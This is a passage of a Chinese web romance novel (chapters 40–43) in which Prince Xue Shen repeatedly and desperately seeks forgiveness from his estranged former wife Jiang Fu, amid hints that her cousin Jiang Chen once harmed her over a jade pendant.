四目相对,姜芙看到他眸中浓郁的笑意,也跟着笑了笑。
俊男美女,花前月下,此情此景,美的刺痛人的心。
薛慎凝视着,握着布帘的手青筋鼓动,他下颌紧绷,恨不得一脚踢飞江宸。
可他知,他不能。
压下怒火,他扯了扯唇角,从马车上下来,唤了声:“芙儿。”
姜芙脸上笑意尽失,“你怎么在此?”
薛慎堆笑,“我在等你。”
“可我不想见你。”姜芙冷声道。
薛慎当做没看到她厌恶的神情,唇角淡扬。
“月余未见,我好想你。”
第四十章 求饶他跪了
“小姐,拜帖。”婉儿自己都快记不清这是薛慎第几次派人送来的拜帖了。
好像是十次还是二十次,反正自从那日一别便一直差人送来。
“小姐,还是不见吗?”婉儿问道。
“不见。”姜芙把核对好的账本放一旁,拿起另一本,头也未抬地说,“下次若是再送拜帖过来,直接让门房给拒了。”
“这会不会不妥?”婉儿抿抿唇,“怎么说他是王爷,连个拜帖都不收,万一他动怒,咱们……”
“这里是凤凰山,不是堰都,即便他是王爷又如何。”姜芙道,“院中的打手也不是吃素的。”
那些打手是姜芙亲自挑选的,平时就是护院,关键时候用来御敌,而她之所以如此做,也是因为初到凤凰山时出过事,江宸亲自调教的,武功造诣皆不凡。
“也不知道王爷在想什么。”婉儿抱怨,“都分开这么久了,难不成他还想追回小姐不成。”
姜芙抬眸,“这样的话日后不许讲。”
她鲜少动怒,婉儿忙赔笑脸,“奴婢错了,奴婢以后再也不乱讲了。”
“那这?”婉儿晃了晃拜帖。
姜芙面无表情道:“烧了。”
婉儿依命行事,“小姐约了表公子见面,看时辰到了,现在走吗?”
姜芙放下笔,又揉揉发酸的脖颈,“先为我梳妆。”
婉儿手巧,半晌后梳妆完毕,两人一前一后走出。
没想到小八还在,婉儿道:“你怎么还没走?”
小八:“属下在等王妃回信。”
“我们小姐说了,忙,没空。”婉儿努嘴,“你快离开这。”
小八视线从婉儿身上越到姜芙身上,单膝跪地,“求王妃去见见我家王爷。”
姜芙停住,“这里没有王妃。”
“恳请姜小姐去见见我家王爷。”小八道,“自从上次一别后,王爷便病了,日日都在念叨小姐。”
“王爷生病自应该去医馆请大夫,见我何用。”姜芙淡淡道,“请转告你家王爷,睿王妃早已死在三年前的那场大火中,请他不要再来叨扰。”
“可我家王爷自始至终没有忘记小姐。”小八蹙眉,“小姐当真连见不都见?”
“不熟,不见。”言罢,姜芙上了停在门前的马车。
婉儿见小八还不走,轻哼一声:“早知今日何必当初,你怎么不想想你家王妃当初是怎么对我家小姐的,小八我告诉你,我家小姐现下同江公子好的很,烦请你家王爷不要来打扰。”
“若是你再出现,我见你一次打你一次。”
婉儿是见证者,昔日姜芙受到的苦楚她都记忆犹新。
后悔了?
早干嘛去了。
“来人,把他赶走。”婉儿道。
小八被推搡着离开,小九从拐角处出来,看着小八的狼狈样没忍住笑出声,“不知道是谁说可以把王妃请来,原来是在说大话。”
小八:“滚。”
车帘掀开,薛慎探出头,“人呢?”
小八喉结慢滚,“王爷,王妃她……”
薛慎重咳两声,“她还是不愿见我?”
小八低头。
小九出主意,“既然如此,不如换个方法把人请来。”
“什么方法?”薛慎问。
“把人打晕带过来。”小九低声说。
薛慎皱眉。
小九嘀咕,“这也不行,那也不行,那到底该如何?”
薛慎轻叹,“还是我亲自去吧。”
“主子不可。”小八道,“您身子还未康复。”
薛慎不想等了,再等下去,怕是又会错失她,“无妨,一时半刻死不了。”
便是死了,他也要在临死前求得姜芙原谅。
……
江宸带姜芙去游湖了,偌大的船上只有他们两个人,又是吟诗又是弹琴,好不惬意。
看得薛慎眼珠子冒血,垂在身侧的手指攥紧成拳,恨不得把江宸碎尸万段。
跟了半路,再也看不下去,薛慎从小船跳到了大船上,姜芙见识薛慎,秀梅拧到一起。
“你来此作何?”
薛慎慢慢走近,“见你。”
一天一封拜帖,他送了二十封,她依然不愿见他,他只能出此下策。
“民女说过,民女不想见你。“姜芙道,“王爷听不懂人话吗?”
“我知你气我,怪我,怨我,”薛慎道,“是,都是我的错,你给我的解释的机会不行吗?”
“解释什么?”姜芙轻笑,“民女同王爷没什么好讲的。”
“芙儿。”薛慎又是一阵咳,止住后唇角溢出血,“我这三年并不好过。”
“所以呢?同我何干。”姜芙道。
“……”
“你真就这么恨我?”
“是。”
“我要如何做你才会原谅?”
无论他如何做,姜芙都不会原谅。
她眸光落在水面上,淡声说:“想要我原谅可以,你从这里跳下去。”
“我跳了你便会原谅?”
“爱跳不跳。”姜芙道。
“好,我跳。”
薛慎未曾犹豫半分,一个跃身跳进了湖水里。
扑通一声,最先发现的是小八,他急呼:“王爷。”
小九停止了同江宸的厮打也纵身跳入了湖中,然后小八也跳了进去。
江宸走过来,问姜芙,“没事吧?”
姜芙摇头,“无碍。”
江宸:“咱们先
走?”
姜芙:“好。”
两人乘坐小船离开。
至于薛慎,姜芙看都未看他一眼,他的死活亦同她无关。
薛慎水性还可以,只不过他染了风寒并未痊愈,突然入水,气血倒流,以至沉入水中。
小八小九费力把他从水中捞出来,片刻未曾停歇带去了驿馆。
大夫匆匆赶来,看到薛慎面如死灰的脸,斥责道:“不是告诉过你们了,这位公子中了毒,身子亏空严重,必须好生静养,不然命不久矣,你们怎么能让他入水。”
小九小八当然不想了,可谁能拦得住。
“大夫,现下该如何?”
“我看还是等死吧。”大夫道,“省得救醒后又作践自己。”
小九跪地,“求大夫救我家公子。”
“我这里还有最后一颗续命丹,他若是再折腾,怕是真离死不远了。”就着温水,薛慎服下了那颗救命丹。
大夫叮咛:“若是他在出事,你们也不必寻我了,直接去棺材铺给他打造一口棺材即可。”
他还真是没见过如此不听劝告的病人,说了他只有一年寿命,让他好生静养,他倒好,四处游逛,好落入了水中。
“我们公子是有事情未完。”
“什么事比性命还重要?”大夫道,“就是不听话。”-
次日,薛慎才转醒,醒来后的第一件事,问:“今日可送了拜帖?”
提到拜帖小九气的不行,“主子这般都是王妃害的,主子为何还要去见?”
“问你送了没有,何来那么多废话。”
“没送。”
“马上去送。”
“送了王妃也不会见。”小九道,“还不如不送。”
薛慎从床榻上坐起,“你们不去送,我去。”
小八拦住,“属下去。”
这次同之前稍有不同,婉儿亲自见的小八,开口便是:“我们小姐说了,睿王府的人一概不见,日后也不必再来送拜帖。”
小八气不过强行把婉儿带来,威胁她,“想活命就让你家小姐出来见我们王爷。”
婉儿胆子大了很多,哭都没哭,轻斥,“有能耐你杀了我,不然,休想我回去传话。”
最后就是婉儿把小八打了一顿。
“她还是不见?”
“是。”
“那我去见她。”
“主子不可。”小九道,“您还没痊愈。”
“我的身子我清楚。”薛慎道,“现下还死不了。”
薛慎前半生一直在忙着朝事,为天子分忧,是以招惹了很多不该招惹的人,那毒便是那些人趁他不备给他下的。
现毒已入肺腑,他自己深知不会活太久,正因为如此,他更想获得姜芙的原谅。
他的芙儿那般美好,不应因为他而变得如此不快。
是他欠她的,不管如何,他都要还。
……
薛慎带着差役一起去的听月轩,也就是姜芙的住处。
旁人姜芙可以不见,但差役都来了,她这个听月轩的主人只能亲自迎接。
很快,偏厅中只剩薛慎和姜芙。
姜芙问道:“不知王爷所为何事?”
“昨日你说,若是本王敢跳,你便会原谅本王。”薛慎睨着她,“本王跳了,那你是不是可以原谅本王了?”
“王爷过来便是为了此事?”
“是。”
“那好,民女原谅王爷了,王爷若没旁的事请回吧。”姜芙的回答甚是敷衍,是个人都能看出她根本没原谅。
“芙儿,我们非要如此吗?”
“芙儿乃是闺名,还请王爷自重。”
“阿芙,我错了。”薛慎上前,握住她的手,“求你原谅我。”
“民女说过,前尘往事民女已经忘了,王爷又何必执着于此。”
“你忘了,可我未曾忘记分毫。”薛慎拿出她送的香囊,“这是你送的,我一直戴在身上。”
“阿芙,我想你,好想好想。”
“王爷想民女说什么?”姜芙抽出手,“说民女也还记得王爷?抱歉,未曾,昔日的种种民女早已全然忘记。”
“王爷请回吧。”
何人敢给薛慎如此难堪,只有姜芙。
可即便如此,薛慎依然不想离去。
“阿芙,那日府中新来了厨娘,说是厨艺了得,可我吃过她做的桂花糕后只觉难吃,同你根本无法比。后来没办法,我只能自己学着做,一次两次三次,有次差点把厨房给烧了。”
“后来我终于学会。”
“你想不想吃?”他含情脉脉道,“我给你做可好?”
堂堂王爷下厨房做糕点,说出去只会让人讥笑,可薛慎完全不在意,昔日没做过的事,他想一件一件做给姜芙看。
只要她开心便足矣。
“你若不想吃桂花糕,我还可做别的。”薛慎道,“我做的长寿面也非常好吃,你几次生辰我都未曾陪你,不若我给你做碗长寿面如何?”
“薛慎,你很闲是不是?”姜芙淡声道,“有个东西你一定很想看,我现在便拿给你看。”
薛慎:“好,你给的,我都看。”
只是他从未想过姜芙让他看的竟是和离书。
薛慎后退,“我没有同意和离,所以咱们的和离不算数。”
“陛下都同意了,怎能说不算数。”姜芙道,“薛慎,我们没关系了,早在三年前便没了关系。你当我死了吧,赶快离开这里,从此以后当同陌路,即便在街上遇到,也要装作不识。”
薛慎:“不。”
他欲抢和离书,被姜芙收起。
“来人,送客。”
就这样,薛慎被强行赶了出来,姜芙以为他受此羞辱定会离去,岂料没有。
他一直站在大门外,目视前方,无论谁劝都不走。
凤凰山的天气说变就变,刚刚还晴空万里,转瞬乌云密布,接着是瓢泼大雨。
下人来报,“王爷还没走,要不要给送伞?”
姜芙:“不用,他爱站便站。”
左右是同她不相干的人,她才不会在意,下着雨无事可做,姜芙命婉儿研磨,她伏案作画。
婉儿时不时抬眸看一眼窗外,低语,“小姐,这雨更大了。”
姜芙未曾停笔。
“听小八说,王爷这三年身子一直不利落,好几次差点死掉,不知这雨他能不能扛住?”婉儿眨眨眼,“咱们真不送伞吗?”
姜芙:“闭嘴。”
婉儿抿抿唇。
大门外,小八小九也劝。
“主子,您身子经不住折腾,随属下回去吧。”
薛慎未动。
“再这样下去是会死的。”
“……”薛慎还是未动。
小九气不过,大步走上前,抬手欲砸门被薛慎制止,“回来。”
小九不情不愿回来。
小八:“求您了,走吧。”
薛慎脸上没有一丝血色,眼眸倒像是沁着血一般,声音打颤。
“你们说,若是我真的死在这里,芙儿会不会出来见我?”
“轰——”雷声传来。
薛慎被风吹得轻晃。
一个时辰后,他眼前一黑倒了下去,隐约听到了大门开启的声音。
他勾唇笑笑,他就知道,芙儿不会见死不救的。
40-44
第四十一章 地狱他死了
出来的不是姜芙,是婉儿,婉儿把纸伞递给小九,“快带着你们的主子离开。”
小九没接纸伞,“我们主子这样还不是你家小姐害的,你可知道我们主子这三年过得多辛苦,你们倒好,假死离开,让我们主子每天肝肠寸断。”
小九憋了许久的话,也顾不得正在下雨,拦住婉儿的去路,继续道:“你们小姐真无情。”
“我们小姐无情?”婉儿伸手戳他胸口,“当初你们主子怎么对我家小姐的,你们不是不知道,还有老夫人,大奶奶二奶奶,没有一个对小姐好的。你家主子睁一只眼闭一只眼,从来不理会。我家小姐为何要离开,还不是对你家主子寒了心。”
“你现在同我讲说你家主子不易,他有我家主子不易吗?”
“你们少倒打一耙。”
“我们主子那般,你们可曾想过是何缘由,那是因为你家小姐她——”小九刚要脱口而出,小八打断,“小九,住口。 ”
“我就要讲,要不是她家小姐,咱们主子怎么会到如此境地,说破天也是他们的根由。”小九怒吼道。
“你想死了是不是?”小八拦住他,“主子说过的不许讲。”
“我——”
“你什么你,快带上主子离开。”
婉儿等他们走远后才折返,进门时叮嘱守卫,“把门看好了,任何人不准进来。”
守卫:“是。”
婉儿也奇怪小九话里的意思,把疑惑说与姜芙听,问道:“小姐,小九这话到底是何意呢?”
姜芙:“他真是这么讲的?”
婉儿:“是。”
姜芙放下笔沉思,须臾,淡声道:“欲加之罪何患无辞,随他们吧。”
婉儿想了想,也对,他们就是强词夺理,明明自己一点道理都没有,还觉得自己对。
真是有什么样的主子就有什么样的下人。
婉儿:“下次他们若是再来,奴婢去把他们赶走。”
“放心,这次后他们应该不会再来了。”
“小姐为何如此肯定?”
“薛慎哪里受过如此冷遇,他那般傲慢,日后定不会再出现。”
只能说姜芙错估了,三日后,薛慎忙完正事再次出现在大门前,小八小九站立在两侧。
路上时不时有人驻足观望,窃窃私语声此起彼伏。
薛慎不为所动,负手而立,眼眸直勾勾盯着紧闭的大门。
一盏茶后,大门打开,管家走出来,“我家主子不在府里,公子请回吧。”
“你家主子去了哪里?”
“查看铺子了。”
“几时归来。”
“天黑前。”
薛慎问什么,管家答什么。
“她自己一人?”
“同江公子一起。”
薛慎闻言脸色顿暗,片刻也没停留,转身坐进了马车里,一路驰骋去了街里。
一间一间铺子寻过去,都未曾看到姜芙,薛慎郁结,脸色越发阴霾了,小八规劝,“主子若是累了可先回去歇息,属下同小九继续找。”
薛慎:“无妨。”
他今日一定要见到姜芙,哪怕是一句话不讲,单是看看她也好。
他真的好想好想她,梦里也皆是她的身影,一颦一笑,深入骨髓。
晌午前总算把人寻到,薛慎唤了声:“芙儿。”
姜芙停住,转身回看,两人视线撞上,她眉梢轻蹙又松开,屈膝作揖,“王爷。”
薛慎:“平身。”
姜芙直起身,“王爷若是无事,民女先走。”
“等等。”薛慎看了眼前方的醉香楼,“听闻醉香楼烤鸭一绝,不若一起去尝尝。”
“不了。”姜芙推拒,“民女还有事要做。”
“再忙也要用膳。”薛慎温声道,“你看你都瘦了。”
“芙儿。”他站定在姜芙面前,语带乞求,“就一次,可以吗?”
睿王的赫赫威名无人不知,几时如此低三下四求过人,姜芙不免怔愣,思付间,被薛慎扣住了手腕,“我就知晓你会同意的。”
姜芙被他牵着走了进去。
高朋满座到处都是人,大家齐刷刷看过来。
姜芙不想被人误会,微挣,“王爷请自重。”
薛慎也不想惹她生气,慢慢收回手,“我的错。”
他做出个请的手势,温声提醒,“小心台阶。”
姜芙提裙慢慢上了楼,二楼雅间位置极佳,街景一目了然,桌子上摆放的也都是姜芙爱吃的菜色。
看得出,薛慎用了心意。
姜芙轻扯了下唇角,若是三年前他如此做,大抵她会感动到哭泣,但现下不会了。
面无表情坐下,她眸光落在了窗外。
薛慎示意店小二继续上菜,随后亲自给姜芙斟茶,佯装无意问道:“这三年你过得好吗?”
姜芙收回眸光,淡声道:“如王爷所见,民女过得极好。”
“听闻你在此做生意,想来应该是不错的。”薛慎道,“你一向聪慧。”
昔日他可未曾夸过她半分,如今听来之觉讽刺。
“王爷谬赞。”
“我说的是真心话。”薛慎覆上她的手,“芙儿,这三年我一直都在想你,我——”
姜芙抽出手,打断薛慎的话,“前几日王爷问民女可否原谅,如今民女有答案了,民女可以原谅王爷,当昔日的一切都不存在。”
“不存在?”薛慎手指微颤,心也跟着痛了一分,面色凝重道,“你当真可以忘记?”
“当然。”姜芙道,“民女这三年不就是这么过来的吗。”
“民女以茶代酒,敬王爷。”她端起茶盏,“愿我们日后再无交集。”
这茶,薛慎不想喝,也不愿喝。
“王爷不喝吗?”姜芙饮完问道。
薛慎苦涩一笑,声音悲戚,“可是芙儿,我不想同你陌路。”
他想同她再续前缘。
“民女言尽于此,王爷要如何,民女不管。”姜芙定定道,“但从今日起,民女不会再见王爷。”
薛慎:“……”
杀人诛心,薛慎的心沉入到了谷底中。
比起那三年,眼前的话语才更伤人,他的芙儿,真的不要他了。
可他不能放手。
“你是有喜欢的人了吗?”薛慎压下心酸,“是江宸?”
“那是民女的私事,不予告知旁人。”姜芙冷声道。
“我不是旁人,我是你夫君。”
“咱们已经和离了。”
“我没签字,不算数。”薛慎道,“芙儿,我没同意,你便还是我的妻。”
“芙儿,重新回到我身边吧。”他红着眸子道,“我定会用命去爱护你。”
“回到你身边?”姜芙轻嗤,“那你的妙儿要如何?那些名门贵女又要如何?”
“我同苏妙儿无关,当初之所以把她带回,也只是因为她同一桩旧案有关。”薛慎解释道,“还有那些画像,也皆是照你所画,画中女子根本不存在,至于我做这些,皆因——”
姜芙打断他,“因为什么,民女不想知,王爷也不必告知。”
“不,你要知晓。”薛慎握住姜芙的手,“我做那些也是为了保护你,芙儿,这些年,最想害你的便是江宸。”
“表哥?”姜芙只当他失心疯了,“表哥带我极好,怎么会害我?”
“他那般做是在利用你。”薛慎道,“芙儿,你那年落水,至今记忆尚未恢复,你可知是谁打翻的船只?”
“是,江宸,是他害你落水的,目的是为了要你的玉佩。”
“你信我。”
姜芙怎么可能凭他三言两语便信,蹙眉道:“没有证据的事请王爷甚言。”
“谁说没有证据。”薛慎道,“那只玉佩便是证据。”
“玉佩在哪?”
“江宸手中。”
薛慎语重心长道:“玉佩不单是玉佩,它同一桩命案有关。”
越说越离谱,姜芙完全不信,“王爷故事编的不错,但哄骗民女还不够。”
“芙儿,我为何要哄骗你,那是事实。”薛慎恨不得把心掏出来给她看,“我对你天地可鉴。”
姜芙不想再听,强行把手抽出,站起身,“王爷自己吃吧。”
她转身欲走,被薛慎拦住,一个拉扯,她跌进了薛慎怀里,灼热的气息扑面而来,薛慎捧起她的脸,低头吻上来。
下一瞬,清脆的巴掌声传来。
姜芙打在了薛慎左脸上,“薛慎,别欺人太甚。”
“芙儿我——”薛慎欲解释,被姜芙猛力推开。
她道:“我早已不是三年前的我,你若再敢欺我,我不介意鱼死网破。”
“我疼爱你都来不及,又岂会伤你。”薛慎求她,“芙儿,我真没有。”
饶是他那般讲,姜芙还是不为所动,片刻都未曾停留,转身出了雅间。
薛慎看着她消息
在楼梯尽头,又看着她在街上同江宸闲话,又看着她上了江辰的马车。
三年前他便知,即便他讲出真相她也不会信,是以,他才一直瞒着。
今日是他唐突了,应该继续瞒下去的。
他说的,情愿死,也不想让她愧疚难过。
小八小九欲言又止,最后只能化成一声叹息,真是作孽了。
……
薛慎来此不止是为了寻姜芙,还同那件旧案有关,以前是寻找证据,现下是消灭证据。
小九问道:“主子真要如此吗?”
这可是他们花费了几年的时间才寻到的证据,只此一份,就这样毁了,日后怕是再也难寻。
“是。”薛慎沉声道,“都毁了。”
“可若都毁了,日后王妃问起,主子要如何辩解?”小八道,“不若留着些。”
“本王说了一个不留。”薛慎道。
地狱他一个人去便好,他不想她也难过。
小九边烧边低语,“主子为了王妃命都可以不要,王妃呢,整日和那个坏蛋进进出出,如今还把唯一的证据给烧了,日后对峙起来,主子也没了胜算,王妃更是不会知道真相,主子当真不悔吗?”
薛慎:“不悔。”
“可这些明明都是王妃做——”
“小九,闭嘴。”薛慎厉色道,“把你刚刚那些话咽到肚子里,此事同王妃无半分干系。”
小九抿抿唇,“是,同王妃无关。”
有没有干系,老天自是知晓。
……
姜芙从那日回来后,连着几日梦魇,梦里她看到了刀光剑影,还听到了哭泣声。
一个个人影在她面前倒下。
他们挥舞着手,问她为何如此?
每次姜芙梦到这里便会惊醒,之后再无睡意。
婉儿担忧她,给她抓了汤药,江宸来寻她,看到姜芙正在服食汤药,随口问道:“阿芙身子不适?”
姜芙:“头有些痛。”
“找大夫看了吗?”
“嗯,找过了。”
婉儿一旁低语,“小姐这几日一直在梦魇。”
江宸担忧问:“是遇到什么事了吗?可以告诉愚兄。”
姜芙放下汤碗,又含住一颗蜜饯,这才开口讲话,“表哥,阿芙有一事想问。”
江宸:“你问。”
姜芙:“那年我去你府中小住,我随身佩戴的玉佩掉进了湖中,不知可否寻到?”
江宸微顿,“寻了,可惜没寻到,不过无妨,表哥再送你一只新的。”
姜芙莞尔一笑,“我就是随口问问,不用送新的。”
等江宸离开,姜芙脸上笑意全无,婉儿察觉到不对劲,“小姐,怎么了?”
姜芙:“我那只玉佩不是在离城江府丢的,刚刚表哥并未反驳。”
婉儿:“那就是说表少爷说谎了。”
姜芙:“是。”
“这是为何呢?”婉儿又问。
姜芙也不知为何,但她的心莫名慌起来,隐隐的又想起了薛慎的话。
前脚刚想起,后脚小八登门,手里拿着拜帖,“小姐,我家主子明日便会离开凤凰山,今日请小姐过府一叙。”
“今日我还有旁的事要忙……”
“我家主子说了,小姐若是没空,他可以来府上。”
姜芙也有疑虑,便同小八一起去了驿馆,人刚进去,便被人从后方抱住。
“芙儿,我就知晓你会来见我。”
第四十二章 痛杀了我吧
姜芙也学了些功夫,反脚踢向他,下一瞬,吃痛声传来,她从薛慎怀里挣脱出,随即抬手又是一巴掌。
“薛慎,若你再无理,可别怪我不客气。”
眼前的姜芙同三年前的她诸多不同,可不管她变成什么样,他心如初。
“芙儿,谢谢你能来见我。”仿若挨打的不是他,不再肆意靠近,而是转身走到桌前,倒满一杯茶水,“请。”
姜芙未接,“王爷不是有话要对民女讲吗,请讲。”
薛慎有万千话想说,到嘴边后,又都咽了回去,只化作一句,“芙儿,这三年你过得好吗?”
好?何为好?
姜芙想起了刚刚离开堰都时的情景,风餐露宿,这里呆几日,那里呆几日,又想起了半路遇到山匪的情景。
若不是她们拼命逃脱,大概已经死在了刀下。
还有突遇水患,差点丧命,种种这般实在说不上好,但到了凤凰山后,也委实不错。
初入水土不服,适应后风生水起,生意一日比一日好,挣的银钱也一日比一日多。
她做了很多善事,修路,固堤,救济灾民,他们称她为活菩萨,又岂是不好可以言说的。
好与不好单看自己心境,姜芙觉得自己很好。
“还不错。”姜芙淡声道。
“这三年,你可曾……”薛慎欲言又止,他想问,她可曾想起他片刻,但看她神情便知晓没有。
“可曾如何?”
“可曾想回去看看?”他道。
“回去?回哪里?”
“堰都。”薛慎道,“那里也是你的家。”
家这个字与姜芙来说太过陌生,她的家只有凤凰山,堰都的人和事都同她无关。
“王爷还有其他要问的吗?没有的话,民女想问一些事。”
“你讲。”
姜芙:“那日你说是江宸害我落水的,还说他是为了玉佩才会那般,你所言可是真的?”
“你是不是想起了什么?”薛慎眼眸亮起,闪烁着光泽,“快告诉我。”
姜芙摇头,“未曾。”
薛慎脸上的笑意僵住,喉结慢滚,“真的什么也想不起?”
“是。”就是因为想不起姜芙才来此求证,“你敢发誓你那日所言非虚?”
薛慎举起手指,“我薛慎对天发誓若我骗了姜芙,我愿遭天打雷劈。”
“真是江宸害我落得水?”
“是。”
“他是为了玉佩?”
“是。”
“此事还同一桩命案有关?”
“……”
薛慎不愿细讲,只道:“过去的事便让它过去吧。”
姜芙急于知晓真相,“你告诉我,当年到底发生了什么?”
薛慎发过誓,除非姜芙自己想起,不然他绝不再提及过去,“抱歉,我无法告知。”
他愈这般,姜芙愈想知晓,“你讲还是不讲?”
薛慎:“不能讲。”
那段过往太痛苦,若她知晓,大抵会受不住。
见他如此冥顽不灵,姜芙有几许怒意,“我再问你最后一次,你讲是不讲?”
薛慎:“不能讲。”
姜芙:“既然如此,那咱们也没什么好讲的。”
言罢,她没再停留,转身离去。
小九端着做好的膳食进来,“王爷,按照您的吩咐做了王妃喜欢吃的,只要王妃吃了,肯定不会再生气,王爷——”
房间里除了薛慎外,再无其他人。
小九张望片刻,问道:“王爷,王妃呢?”
薛慎:“走了。”
“怎么走了?”好不容易把人请来,怎么就让她这么走了呢,“王爷为何不拦?”
薛慎悻悻道:“拦不住。”
他拦了,没拦住。
小九看着满满一桌子菜,心也跟着凉了下来,“这可是一早便开始准备的。”
小八撞了他一下,示意他闭嘴,又道:“王妃不在,王爷也可以吃。”
薛慎哪里还有胃口,淡声道:“端走吧。”
“王爷早上便没用膳,身上的毒还未解,多少吃些吧。”小八道。
薛慎睨着前方,神色肃冷,再次道:“端走。”
众人不敢不从,纷纷端走。
这日,薛慎哪里也没去,一直站在窗前,没人知晓他在想什么,只是看他神色越发不好。
临睡前小九问道:“王爷,咱们明天真要离开吗?”
薛慎忍着心悸道:“嗯。”
天子下了密旨,要他即刻回堰都,他不得不回。
“可若是您走了,王妃那……”
“你们两个留下保护王妃,本王自己回堰都。”
“那怎么行。”小九道,“王爷自己怎么可以。”
“你们连本王的话都不听了?”薛慎冷声质问。
小八小九不敢不从,单膝跪地,“属下遵命。”
……
天蒙蒙亮,薛慎离开,他期翼着姜芙能送他一程,左等右等还是没把人等来。
快出城门时,听到后方有人叫他,以为是姜芙,他命人把马车停下,探出身子,待看清眼前人是谁后,神色当即冷了下来。
“你来此作何?”
“我来送送王爷。”江宸说道。
“芙儿早晚有一日会回到我身边。”薛慎道,“你不会得意太久。”
“我看是王爷别痴心妄想才对,”江宸轻笑,“阿芙是我的。”
“江宸,你真以为你能逃的掉吗?”薛慎指的是多年前的事。
“我为何逃不掉?”江宸挑衅道,“薛慎,难道你敢抗旨不成?”
若不是天子下旨不许薛慎伤江宸,江宸哪会活到现在。
“我若是敢呢。”薛慎道。
“好啊,我等着你。”江宸不卑不亢道,“就怕你没那个本事。”
薛慎浑浑噩噩了三年,是时候找江宸算账了,“你等着,我马上便会回来。”
……
从凤凰山到堰都行了大半月,到了堰都后,薛慎家都未回便去了宫里,白天去的,夜里才出来,浑身带着血。
宋氏看到后,吓得差点昏过去,拦住前来送人的公公问:“出了何事?”
公公轻斥,“睿王无状,惹怒了陛下,即日起闭门思过,无召不得入宫,更不可离开堰都。”
宋氏瘫倒在地上,等人都走后,她又清醒过来,命下人去寻大夫。
薛慎被打得不轻,脸上血色全无,还发起了热,后半夜开始胡言乱语,一直在叫姜芙的名字。
“芙儿,芙儿……”
宋氏凑近才听清楚,脸色突变,“造孽呀。”
薛慎闭着眼,依旧不停呼唤,天明时才安静下来。
这一睡,又睡了两日,第三日才转醒,清醒后,忍着痛从床榻上下来,“我的官袍在哪?”
丫鬟道:“王爷,您身子弱,不能外出。”
薛慎:“官袍在哪!”
这一吼,把宋氏给吼了过来,拦住他,“儿呀,陛下有旨,无召不准你入宫,你还是老老实实待在家里吧。”
“我要去。”事情不能再耽搁,他必须去。
“娘不许。”宋氏想起他满身带血的样子,心都是颤的,“你要是还想我活命,你就给我听话些,去躺着。”
“母亲,儿有要事要办。”
“何要事?”宋氏道,“是不是同姜芙有关?”
薛慎:“……”
“儿你糊涂呀,姜芙都死三年了,你怎还对她念念不忘。”宋氏道,“今日不论你有何事都不许出府。”
“娘在这守着你。”
宋氏还当真守在了一侧。
薛慎:“母亲休要逼迫我。”
“今日你若想出府,那便踩着我尸身出去。”宋氏道。
她本以为能拦住薛慎,岂料还是没拦住,眼睁睁把人放走了。
天黑薛慎再次带着一身伤回来,皮开肉绽,骨头都漏了出来。
还是昨日的太监,见到宋氏后,斥责:“都说了把人看好,为何没拦住?再有下一次,王爷的命大概也要保不住了。”
宋氏吓得魂都要没了,等把人送走后,她询问了始末,才得知,薛慎不顾阻拦冲进了宫里,惹怒了陛下,再次被施以杖刑。
两次痛打,薛慎在床榻上趴了半月才好转。
他继续用苦肉计,直到第四次,庆帝才松开,准了他所求。
薛慎不敢停留,带上密旨朝城外驶去。
这次出行不太顺利,途中遇到了劫匪,人数众多,一看便是要取他性命,好在薛慎武功不弱,成功逃脱,后面他改乘骑马,才安虞了些,赶到凤凰山时,已是一个月后。
彼时凤凰山正举行游船塞,姜芙也有报名参加,江宸陪同。
男才女貌,出现的那刹,惹来轻呼声。
婉儿在一旁挥手叫好,“小姐,公子。”
小八小九见状白眼差点翻到了天上,尤其是小九,双手抱胸,一看就是很不服气的样子。
婉儿故意问:“诶,我们小姐同江公子是不是很般配?”
“哪里般配了?”小九道,“一点都不般配。”
“郎才女貌,佳偶天成,怎么不般配。”
“佳偶个屁。”小九冒粗话,“你脑子是不是有病?”
“你才有病。”婉儿叉腰,“你全家都有病。”
小九咧嘴,“我全家就我一个人。”
“那你一个人有病。”婉儿怼他。
“缺心眼。”小九反击。
两人越骂越凶,差点动手打起来。
“总之我们小姐才不会跟你们主子和好,你少做梦了。”
“你们小姐要是选江宸那也是脑子有病。”小九道。
婉儿推他,“滚滚滚。”
姜芙没看到岸上的争吵,她正在同江宸讲话,“看你脸色不好,没关系吗?”
江宸:“有阿芙关心,便是再不适也无妨。”
“表哥,你不用如此。”姜芙道。
“我说过的,只要阿芙开心,要我做任何事都可以。”江宸含情脉脉。
姜芙移开视线,“我不想谈婚嫁。”
“我知道。”江宸突然靠近,“所以,我会等到你想谈的时候。”
远远的,薛慎便看到一袭白衣的江宸几乎要贴上姜芙,他剑眉拧到一起,几个凌空点水跳到了船上。
多日未见,薛慎更多的是思念,“芙儿。”
姜芙闻声转头,视线撞上,神色瞬间暗了下来,“你为何再次?”
薛慎还未言明,扑通一声,掉进了水里,引的岸边众人轰然大笑。
他看到姜芙的唇角也很轻地扯了下,本欲从水中跃起的身子再次沉了下去。
只要她高兴,别说丢脸了,便是丢命,也未尝不可。
第四十三章 要死了吐血(大结局上)……
突降大雨,赛事取消。
姜芙同江宸一起折返,薛慎的马车亦步亦趋地跟着。
江宸状似无意问道:“我过几日便要回离城,阿芙可愿随行?”
之前姜芙是推拒的,这次并没有,“会不会太过叨扰?”
“不会。”江宸道,“祖母早就期盼着你能回去看看。”
姜芙:“好,那我回去收拾收拾,明日从表兄一起上路。”
江宸含笑道:“明日一早,我在府外等你。”
姜芙轻嗯一声。
婉儿不知为何姜芙改了主意,回到家中,她迫不及待问道:“小姐当真要同公子去离城吗?”
姜芙:“嗯。”
“万一真如王爷所言,公子想害小姐呢?”婉儿不免担忧,“非去不可吗?”
姜芙同她说起了梦中的事,“这段日子我反复做着落水的梦,想来薛慎的话也有几分道理,这件事我必须要亲自查清楚。”
“若……”婉儿抿抿唇,“若真相真同王爷讲的那般,小姐要如何?”
姜芙还没想过这点,淡声道:“走一步看一步吧。”
她心里期翼着一切都是假的,江宸怎么可能会害他,肯定是薛慎妄言。
但时不时有道声音在告诉她,或许,真相是另一种,无论哪般,总要查一查才好。
……
暗夜里,江宸还未安寝,侍卫抱拳作揖,“公子都安排好了,只要薛慎敢跟来,必定活不成,只是姜姑娘她……”
“避着她便可。”江宸道,“等把薛慎解决了,我会同她讲明。”
当年的事非他本意,他愿用一生去赎罪。
“记住,不许伤她。”
“是。”
同一时间,薛慎也还未就寝,小八把密信呈上,“主子,明日江宸会带王妃离开,我们要如何做?”
薛慎不可能让姜芙同豺狼在一起,冷声道:“跟着。”
“主子可否想过,或许这是江宸的计谋,目的便是主子呢?”小八道,“即便这样也要跟吗?”
薛慎:“跟。”
他的命有没有无关紧要,但姜芙不能有事。
